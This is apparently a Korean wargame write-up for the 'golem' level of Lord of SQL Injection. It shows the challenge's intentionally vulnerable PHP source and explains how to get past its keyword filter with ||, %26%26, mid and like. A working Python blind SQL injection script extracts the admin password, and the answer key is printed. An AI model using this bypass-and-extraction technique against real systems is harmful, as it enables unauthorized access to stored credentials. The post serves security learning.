728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

단계가 높아질 때마다 필터링되는 문자들이 늘어난다. 이번엔 substr( 와 = 이 추가되었다.

앞의 문제에서 언급했듯이 or, and는 각각 ||, &&로 대체가능한데 &는 URL의 예약된 문자이며 URL key를 구분하는 역할을 한다. 따라서 URL 인코딩한 값 %26을 넣어줘야 php에서 '&'문자로 해석한다.

substr함수는 mid, left, right라는 sql함수들로 대체가능하다. 특히 mid 함수는 substr 함수와 사용법이 같다.

= 연산자는 like,in 연산자와 instr함수로 대체가능하다.

실행한 쿼리가 참일때마다 Hello admin이 출력되도록 하여 이를 기반으로 Blind SQL Injection을 실행하였고 비밀번호 길이와 비밀번호를 알아내었다.

파이썬 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' || id like 'admin' %26%26 length(hex(pw)) like {}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1
#77d6290b
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' || id like 'admin' %26%26 mid(hex(pw),{},1) like '{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=77d6290b

728x90

'Lord of SQL Injection' 카테고리의 다른 글

bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22
skeleton  (0) 2022.12.22
vampire  (0) 2022.12.22
troll  (0) 2022.12.22

+ Recent posts